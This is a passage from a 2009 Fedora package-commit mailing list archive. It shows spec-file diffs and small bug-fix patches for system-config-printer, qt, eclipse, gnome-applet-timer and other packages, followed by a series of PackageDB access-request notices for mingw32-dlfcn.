+++ system-config-printer-1.1.13/system-config-printer.py	2009-10-30 12:36:34.610518996 +0000
@@ -3494,8 +3494,11 @@ class GUI(GtkGUI, monitor.Watcher):
             self.dests_iconview_selection_changed (self.dests_iconview)
             gobject.idle_add (deferred_refresh)
             if self.PrinterPropertiesDialog.get_property('visible'):
-                self.printer.getAttributes ()
-                self.updatePrinterProperties ()
+                try:
+                    self.printer.getAttributes ()
+                    self.updatePrinterProperties ()
+                except cups.IPPError:
+                    pass
 
         gtk.gdk.threads_leave ()
 
@@ -3507,8 +3510,11 @@ class GUI(GtkGUI, monitor.Watcher):
         monitor.Watcher.state_reason_added (self, mon, reason)
         gtk.gdk.threads_enter ()
         if self.PrinterPropertiesDialog.get_property('visible'):
-            self.printer.getAttributes ()
-            self.updatePrinterProperties ()
+            try:
+                self.printer.getAttributes ()
+                self.updatePrinterProperties ()
+            except cups.IPPError:
+                pass
 
         gtk.gdk.threads_leave ()
 
@@ -3516,8 +3522,11 @@ class GUI(GtkGUI, monitor.Watcher):
         monitor.Watcher.state_reason_removed (self, mon, reason)
         gtk.gdk.threads_enter ()
         if self.PrinterPropertiesDialog.get_property('visible'):
-            self.printer.getAttributes ()
-            self.updatePrinterProperties ()
+            try:
+                self.printer.getAttributes ()
+                self.updatePrinterProperties ()
+            except cups.IPPError:
+                pass
 
         gtk.gdk.threads_leave ()
 


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/F-12/system-config-printer.spec,v
retrieving revision 1.308
retrieving revision 1.309
diff -u -p -r1.308 -r1.309
--- system-config-printer.spec	30 Oct 2009 12:31:31 -0000	1.308
+++ system-config-printer.spec	30 Oct 2009 12:39:32 -0000	1.309
@@ -7,7 +7,7 @@
 Summary: A printer administration tool
 Name: system-config-printer
 Version: 1.1.13
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: GPLv2+
 URL: http://cyberelk.net/tim/software/system-config-printer/
 Group: System Environment/Base
@@ -32,6 +32,7 @@ Patch14: system-config-printer-troublesh
 Patch15: system-config-printer-strip-zjs.patch
 Patch16: system-config-printer-custom-state-reasons.patch
 Patch17: system-config-printer-no-epydoc.patch
+Patch18: system-config-printer-notification-traceback.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -108,6 +109,7 @@ printers.
 %patch15 -p1 -b .strip-zjs
 %patch16 -p1 -b .custom-state-reasons
 %patch17 -p1 -b .no-epydoc
+%patch18 -p1 -b .notification-traceback
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -220,6 +222,7 @@ exit 0
 
 %changelog
 * Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-6
+- Avoid traceback in IPP notification handlers (bug #530641).
 - Avoid epydoc dependency.
 
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5



From twaugh at fedoraproject.org  Fri Oct 30 12:39:52 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri, 30 Oct 2009 12:39:52 +0000 (UTC)
Subject: rpms/system-config-printer/devel
	system-config-printer-notification-traceback.patch, NONE,
	1.1 system-config-printer.spec, 1.303, 1.304
Message-ID: <20091030123952.A3FE811C00E8@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16496

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-notification-traceback.patch 
Log Message:
* Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-6
- Avoid traceback in IPP notification handlers (bug #530641).


system-config-printer-notification-traceback.patch:
 system-config-printer.py |   21 +++++++++++++++------
 1 file changed, 15 insertions(+), 6 deletions(-)

--- NEW FILE system-config-printer-notification-traceback.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.notification-traceback system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.notification-traceback	2009-10-30 12:36:24.901645742 +0000
+++ system-config-printer-1.1.13/system-config-printer.py	2009-10-30 12:36:34.610518996 +0000
@@ -3494,8 +3494,11 @@ class GUI(GtkGUI, monitor.Watcher):
             self.dests_iconview_selection_changed (self.dests_iconview)
             gobject.idle_add (deferred_refresh)
             if self.PrinterPropertiesDialog.get_property('visible'):
-                self.printer.getAttributes ()
-                self.updatePrinterProperties ()
+                try:
+                    self.printer.getAttributes ()
+                    self.updatePrinterProperties ()
+                except cups.IPPError:
+                    pass
 
         gtk.gdk.threads_leave ()
 
@@ -3507,8 +3510,11 @@ class GUI(GtkGUI, monitor.Watcher):
         monitor.Watcher.state_reason_added (self, mon, reason)
         gtk.gdk.threads_enter ()
         if self.PrinterPropertiesDialog.get_property('visible'):
-            self.printer.getAttributes ()
-            self.updatePrinterProperties ()
+            try:
+                self.printer.getAttributes ()
+                self.updatePrinterProperties ()
+            except cups.IPPError:
+                pass
 
         gtk.gdk.threads_leave ()
 
@@ -3516,8 +3522,11 @@ class GUI(GtkGUI, monitor.Watcher):
         monitor.Watcher.state_reason_removed (self, mon, reason)
         gtk.gdk.threads_enter ()
         if self.PrinterPropertiesDialog.get_property('visible'):
-            self.printer.getAttributes ()
-            self.updatePrinterProperties ()
+            try:
+                self.printer.getAttributes ()
+                self.updatePrinterProperties ()
+            except cups.IPPError:
+                pass
 
         gtk.gdk.threads_leave ()
 


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/devel/system-config-printer.spec,v
retrieving revision 1.303
retrieving revision 1.304
diff -u -p -r1.303 -r1.304
--- system-config-printer.spec	30 Oct 2009 12:32:02 -0000	1.303
+++ system-config-printer.spec	30 Oct 2009 12:39:52 -0000	1.304
@@ -7,7 +7,7 @@
 Summary: A printer administration tool
 Name: system-config-printer
 Version: 1.1.13
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: GPLv2+
 URL: http://cyberelk.net/tim/software/system-config-printer/
 Group: System Environment/Base
@@ -32,6 +32,7 @@ Patch14: system-config-printer-troublesh
 Patch15: system-config-printer-strip-zjs.patch
 Patch16: system-config-printer-custom-state-reasons.patch
 Patch17: system-config-printer-no-epydoc.patch
+Patch18: system-config-printer-notification-traceback.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -108,6 +109,7 @@ printers.
 %patch15 -p1 -b .strip-zjs
 %patch16 -p1 -b .custom-state-reasons
 %patch17 -p1 -b .no-epydoc
+%patch18 -p1 -b .notification-traceback
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -220,6 +222,7 @@ exit 0
 
 %changelog
 * Fri Oct 30 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-6
+- Avoid traceback in IPP notification handlers (bug #530641).
 - Avoid epydoc dependency.
 
 * Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-5



From overholt at fedoraproject.org  Fri Oct 30 12:41:53 2009
From: overholt at fedoraproject.org (Andrew Overholt)
Date: Fri, 30 Oct 2009 12:41:53 +0000 (UTC)
Subject: rpms/eclipse/F-12 eclipse.spec,1.672,1.673
Message-ID: <20091030124153.DD99F11C00E8@cvs1.fedora.phx.redhat.com>

Author: overholt

Update of /cvs/pkgs/rpms/eclipse/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17268/F-12

Modified Files:
	eclipse.spec 
Log Message:
Bump release due to tag already existing with -3.


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/F-12/eclipse.spec,v
retrieving revision 1.672
retrieving revision 1.673
diff -u -p -r1.672 -r1.673
--- eclipse.spec	30 Oct 2009 12:38:14 -0000	1.672
+++ eclipse.spec	30 Oct 2009 12:41:53 -0000	1.673
@@ -29,7 +29,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        3%{?dist}
+Release:        4%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -1168,7 +1168,7 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
-* Fri Oct 30 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-3
+* Fri Oct 30 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-4
 - Make /usr/bin/eclipse a wrapper script due to rhbz#531675 (e.o#290395).
 
 * Wed Oct 28 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-2



From kasal at fedoraproject.org  Fri Oct 30 12:52:12 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri, 30 Oct 2009 12:52:12 +0000 (UTC)
Subject: rpms/perl-Test-Deep/F-12 .cvsignore, 1.11, 1.12 perl-Test-Deep.spec,
	1.16, 1.17 sources, 1.11, 1.12
Message-ID: <20091030125212.F080F11C00E8@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Test-Deep/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21485

Modified Files:
	.cvsignore perl-Test-Deep.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Deep/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	4 Jun 2008 19:59:36 -0000	1.11
+++ .cvsignore	30 Oct 2009 12:52:12 -0000	1.12
@@ -1 +1 @@
-Test-Deep-0.103.tar.gz
+Test-Deep-0.106.tar.gz


Index: perl-Test-Deep.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Deep/F-12/perl-Test-Deep.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- perl-Test-Deep.spec	26 Jul 2009 16:47:58 -0000	1.16
+++ perl-Test-Deep.spec	30 Oct 2009 12:52:12 -0000	1.17
@@ -1,6 +1,6 @@
 Name:           perl-Test-Deep
-Version:        0.103
-Release:        4%{?dist}
+Version:        0.106
+Release:        1%{?dist}
 Summary:        Extremely flexible deep comparison
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -53,6 +53,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Fri Oct 30 2009 Stepan Kasal <skasal at redhat.com> - 0.106-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.103-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Deep/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	4 Jun 2008 19:59:36 -0000	1.11
+++ sources	30 Oct 2009 12:52:12 -0000	1.12
@@ -1 +1 @@
-2fc92524553a3077475ea9589f02d4ee  Test-Deep-0.103.tar.gz
+8cf0066dca9c3c102e4ae8f57173d12f  Test-Deep-0.106.tar.gz



From rdieter at fedoraproject.org  Fri Oct 30 13:02:10 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 30 Oct 2009 13:02:10 +0000 (UTC)
Subject: rpms/qt/F-12 qt.spec,1.341,1.342
Message-ID: <20091030130210.52A9911C00E8@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24402

Modified Files:
	qt.spec 
Log Message:
revert qeventdispatcher_glib_fix , than reports it doesn't fix 3star echo



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/qt.spec,v
retrieving revision 1.341
retrieving revision 1.342
diff -u -p -r1.341 -r1.342
--- qt.spec	30 Oct 2009 12:01:23 -0000	1.341
+++ qt.spec	30 Oct 2009 13:02:09 -0000	1.342
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.3
-Release: 8%{?dist}
+Release: 7%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -60,6 +60,7 @@ Patch54: qt-x11-opensource-src-4.5.1-mys
 # glib-event-loop regression
 Patch55: qt-x11-opensource-src-4.5.3-glib-event-loop.patch
 # or fix from http://bugs.kde.org/210171
+# than reports this doesn't fix our original 3star echo bug
 Patch155: http://www.davidfaure.fr/2009/qeventdispatcher_glib_fix.diff
 
 # security patches
@@ -395,8 +396,8 @@ Qt libraries used for drawing widgets an
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
-#patch55 -p1 -b .glib-event-loop
-%patch155 -p1 -b .qeventdispatcher_glib_fix
+%patch55 -p1 -b .glib-event-loop
+#patch155 -p1 -b .qeventdispatcher_glib_fix
 
 # security fixes
 
@@ -993,9 +994,6 @@ fi
 
 
 %changelog
-* Fri Oct 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.3-8
-- use upstream qeventdispatcher_glib_fix.diff (kde#210171)
-
 * Thu Oct 29 2009 Than Ngo <than at redhat.com> - 4.5.3-7
 - fix glib-even-loop issue, regression which causes
   Password dialogs get stuck



From rhughes at fedoraproject.org  Fri Oct 30 13:04:01 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Fri, 30 Oct 2009 13:04:01 +0000 (UTC)
Subject: rpms/gnome-packagekit/F-12 .cvsignore, 1.59,
	1.60 gnome-packagekit.spec, 1.103, 1.104 sources, 1.60, 1.61
Message-ID: <20091030130401.248E911C00E8@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/gnome-packagekit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25231

Modified Files:
	.cvsignore gnome-packagekit.spec sources 
Log Message:
* Fri Oct 30 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.2-0.1.20091030git
- New snapshot from the gnome-2-28 branch
- Have a better stab at #530264



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-packagekit/F-12/.cvsignore,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- .cvsignore	29 Oct 2009 10:42:42 -0000	1.59
+++ .cvsignore	30 Oct 2009 13:04:00 -0000	1.60
@@ -1 +1 @@
-gnome-packagekit-2.28.2-20091029.tar.gz
+gnome-packagekit-2.28.2-20091030.tar.gz


Index: gnome-packagekit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-packagekit/F-12/gnome-packagekit.spec,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- gnome-packagekit.spec	29 Oct 2009 10:42:42 -0000	1.103
+++ gnome-packagekit.spec	30 Oct 2009 13:04:00 -0000	1.104
@@ -7,7 +7,7 @@
 %define unique_version			1.0.0
 %define devicekit_power_version		007
 %define libcanberra_version		0.10
-%define alphatag			20091029
+%define alphatag			20091030
 
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
@@ -221,6 +221,10 @@ update-mime-database %{_datadir}/mime &>
 %{_datadir}/applications/gpk-log.desktop
 
 %changelog
+* Fri Oct 30 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.2-0.1.20091030git
+- New snapshot from the gnome-2-28 branch
+- Have a better stab at #530264
+
 * Thu Oct 29 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.2-0.1.20091029git
 - New snapshot from the gnome-2-28 branch
 - Many updated translations.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-packagekit/F-12/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	29 Oct 2009 10:42:42 -0000	1.60
+++ sources	30 Oct 2009 13:04:00 -0000	1.61
@@ -1 +1 @@
-2d4f7acff4a1d21172298b858e612f34  gnome-packagekit-2.28.2-20091029.tar.gz
+22cbc993890bb70adbed012366b03b3d  gnome-packagekit-2.28.2-20091030.tar.gz



From cwickert at fedoraproject.org  Fri Oct 30 13:13:43 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri, 30 Oct 2009 13:13:43 +0000 (UTC)
Subject: rpms/gnome-applet-timer/devel
	gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch, NONE,
	1.1 gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch,
	NONE, 1.1 gnome-applet-timer.spec, 1.32, 1.33
Message-ID: <20091030131343.2E36B11C02A0@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/gnome-applet-timer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28240

Modified Files:
	gnome-applet-timer.spec 
Added Files:
	gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch 
	gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch 
Log Message:
* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-5
- Use default sound form sound-theme-freedesktop (#531877)


gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch:
 config.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch ---
--- timer-applet-2.1.2/src/timerapplet/config.py.orig	2009-10-30 12:43:11.000000000 +0100
+++ timer-applet-2.1.2/src/timerapplet/config.py	2009-10-30 12:54:32.000000000 +0100
@@ -36,4 +36,4 @@
 POPUP_MENU_FILE_PATH = path.join(RESOURCES_DIR, 'TimerApplet.xml')
 ICON_PATH = path.join(IMAGES_DIR, 'timer-applet.png')
 PRESETS_PATH = path.expanduser('~/.gnome2/timer-applet/presets.xml')
-DEFAULT_SOUND_PATH = '/usr/share/sounds/gtk-events/clicked.wav'
+DEFAULT_SOUND_PATH = '/usr/share/sounds/freedesktop/stereo/bell.ogg'

gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch:
 config.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch ---
--- timer-applet-2.1.2/src/timerapplet/config.py.orig	2009-10-30 12:43:11.000000000 +0100
+++ timer-applet-2.1.2/src/timerapplet/config.py	2009-10-30 12:48:24.000000000 +0100
@@ -36,4 +36,4 @@
 POPUP_MENU_FILE_PATH = path.join(RESOURCES_DIR, 'TimerApplet.xml')
 ICON_PATH = path.join(IMAGES_DIR, 'timer-applet.png')
 PRESETS_PATH = path.expanduser('~/.gnome2/timer-applet/presets.xml')
-DEFAULT_SOUND_PATH = '/usr/share/sounds/gtk-events/clicked.wav'
+DEFAULT_SOUND_PATH = '/usr/share/sounds/freedesktop/stereo/alarm-clock-elapsed.oga'


Index: gnome-applet-timer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-applet-timer/devel/gnome-applet-timer.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- gnome-applet-timer.spec	29 Oct 2009 20:25:26 -0000	1.32
+++ gnome-applet-timer.spec	30 Oct 2009 13:13:42 -0000	1.33
@@ -4,13 +4,15 @@
 
 Name:           gnome-applet-timer
 Version:        2.1.2
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        A countdown timer applet for the GNOME panel
 
 Group:          User Interface/Desktops
 License:        GPLv2+
 URL:            http://timerapplet.sourceforge.net/
 Source0:        http://download.sourceforge.net/timerapplet/timer-applet-%{version}.tar.gz
+Patch0:         gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.2.patch
+Patch1:         gnome-applet-timer-2.1.2-sound-theme-freedesktop-0.7.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python-devel >= 2.4
@@ -21,7 +23,11 @@ Requires:       gnome-python2-applet >= 
 Requires:       notify-python >= 0.1
 Requires:       dbus-python >= 0.80
 Requires:       gstreamer-python
+%if 0%{?fedora} >= 10
+Requires:       sound-theme-freedesktop
+%else
 Requires:       gnome-audio
+%endif
 
 %if "%{python_version}" < "2.5"
 Requires:       python-elementtree
@@ -44,6 +50,12 @@ Timer Applet is a countdown timer applet
 
 %prep
 %setup -q -n timer-applet-%{version}
+%if 0%{?fedora} == 11
+%patch0 -p1 -b .freedesktop-0.2
+%endif
+%if 0%{?fedora} >= 12
+%patch1 -p1 -b .freedesktop-0.7
+%endif
 
 
 %build
@@ -102,6 +114,9 @@ scrollkeeper-update -q || :
 
 
 %changelog
+* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-5
+- Use default sound form sound-theme-freedesktop (#531877)
+
 * Thu Oct 29 2009 Christoph Wickert <cwickert at fedoraproject.org> - 2.1.2-4
 - Require gnome-audio (#531877)
 



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:04 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested watchcommits
Message-ID: <20091030132004.9277110F895@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchcommits acl on mingw32-dlfcn (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:05 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested commit
Message-ID: <20091030132005.7B28E10F89E@bastion2.fedora.phx.redhat.com>

epienbro has requested the commit acl on mingw32-dlfcn (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:07 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested approveacls
Message-ID: <20091030132008.140E010F8A4@bastion2.fedora.phx.redhat.com>

epienbro has requested the approveacls acl on mingw32-dlfcn (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:09 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested watchbugzilla
Message-ID: <20091030132009.BE7F110F8AB@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchbugzilla acl on mingw32-dlfcn (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:13 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested watchbugzilla
Message-ID: <20091030132013.DC98410F8B2@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchbugzilla acl on mingw32-dlfcn (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:14 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested watchcommits
Message-ID: <20091030132014.6F3EA10F8B7@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchcommits acl on mingw32-dlfcn (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:16 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested commit
Message-ID: <20091030132016.BC5A510F8BD@bastion2.fedora.phx.redhat.com>

epienbro has requested the commit acl on mingw32-dlfcn (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:17 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested approveacls
Message-ID: <20091030132017.8033C10F8C0@bastion2.fedora.phx.redhat.com>

epienbro has requested the approveacls acl on mingw32-dlfcn (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:23 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested watchcommits
Message-ID: <20091030132023.BCC4710F8C2@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchcommits acl on mingw32-dlfcn (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:26 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested commit
Message-ID: <20091030132026.8982D10F8C7@bastion2.fedora.phx.redhat.com>

epienbro has requested the commit acl on mingw32-dlfcn (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:28 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested approveacls
Message-ID: <20091030132028.7DB7010F8CC@bastion2.fedora.phx.redhat.com>

epienbro has requested the approveacls acl on mingw32-dlfcn (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:30 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested watchbugzilla
Message-ID: <20091030132030.9144410F861@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchbugzilla acl on mingw32-dlfcn (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:34 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested watchbugzilla
Message-ID: <20091030132035.1F98B10F8D1@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchbugzilla acl on mingw32-dlfcn (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:38 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested approveacls
Message-ID: <20091030132038.3B1B510F8DB@bastion2.fedora.phx.redhat.com>

epienbro has requested the approveacls acl on mingw32-dlfcn (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:38 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested commit
Message-ID: <20091030132038.AE0AE10F8E0@bastion2.fedora.phx.redhat.com>

epienbro has requested the commit acl on mingw32-dlfcn (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 13:20:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 13:20:39 +0000
Subject: [pkgdb] mingw32-dlfcn: epienbro has requested watchcommits
Message-ID: <20091030132039.66CFA10F8EB@bastion2.fedora.phx.redhat.com>

epienbro has requested the watchcommits acl on mingw32-dlfcn (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From michich at fedoraproject.org  Fri Oct 30 13:47:23 2009
From: michich at fedoraproject.org (Michal Schmidt)
Date: Fri, 30 Oct 2009 13:47:23 +0000 (UTC)
Subject: rpms/jabbim/devel .cvsignore, 1.16, 1.17 jabbim.spec, 1.37,
	1.38 sources, 1.25,
	1.26 jabbim-0.5-avoid-traceback-when-closing-multiple-tabs.diff,
	1.1, NONE jabbim-0.5-fix-compact-roster-drawing.diff, 1.1,
	NONE jabbim-0.5-fix-message-loss.diff, 1.1, NONE
Message-ID: <20091030134723.2DE3F11C00EA@cvs1.fedora.phx.redhat.com>

Author: michich

Update of /cvs/pkgs/rpms/jabbim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15313

Modified Files:
	.cvsignore jabbim.spec sources 
Removed Files:
	jabbim-0.5-avoid-traceback-when-closing-multiple-tabs.diff 
	jabbim-0.5-fix-compact-roster-drawing.diff 
	jabbim-0.5-fix-message-loss.diff 
Log Message:
* Fri Oct 30 2009 Michal Schmidt <mschmidt at redhat.com> 0.5-0.12.svn20091030
- Update to svn rev. 4233 (bugfixes and German translation update)
- Drop 3 upstreamed patches.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/jabbim/devel/.cvsignore,v
retrieving revision 1.16
